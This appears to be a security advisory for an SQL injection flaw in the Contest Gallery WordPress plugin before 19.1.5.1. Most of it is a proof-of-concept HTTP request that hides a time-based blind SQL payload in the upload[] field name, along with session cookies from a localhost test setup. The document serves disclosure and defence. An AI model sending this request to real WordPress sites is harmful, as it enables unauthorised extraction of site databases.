Contest Gallery < 19.1.5.1 - Author+ SQL Injection

The plugins do not escape the upload[] POST parameter before concatenating it to an SQL query in get-data-create-upload-v10.php. This may allow malicious users with at least author privilege to leak sensitive information from the site’s database.

PoC

POST /wp-admin/admin-ajax.php?page=contest-gallery/index.php&option;_id=1&define;_upload=true HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------2697798261719864473183552564 Content-Length: 1215 Origin: http://localhost:8080 Connection: close Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7Ce93774011f8915e8d1b69955e8c50a905c9040c9c17efcca7b42f24fb32f43e2; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7C2bc19f40221c8d9c3d9219517701a229fe9080215045fe6a050c6d9b594282b3; wp-settings-time-5=1668359977 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“_wpnonce” 07bde4fc61 -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“_wp_http_referer” /wp-admin/admin-ajax.php?page=contest-gallery%2Findex.php&option;_id=1&define;_upload=true -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“option_id” 1 -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“upload[1//AND//(SELECT//7741//FROM/**/(SELECT(SLEEP(5)))hlAf)][type]” url -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“upload[1][order]” 4 -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“actualID[]” 1 -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“action” post_contest_gallery_action_ajax -----------------------------2697798261719864473183552564 Content-Disposition: form-data; name=“cgBackendHash” e12e8782da8ac6c4f1725d81a9811524 -----------------------------2697798261719864473183552564–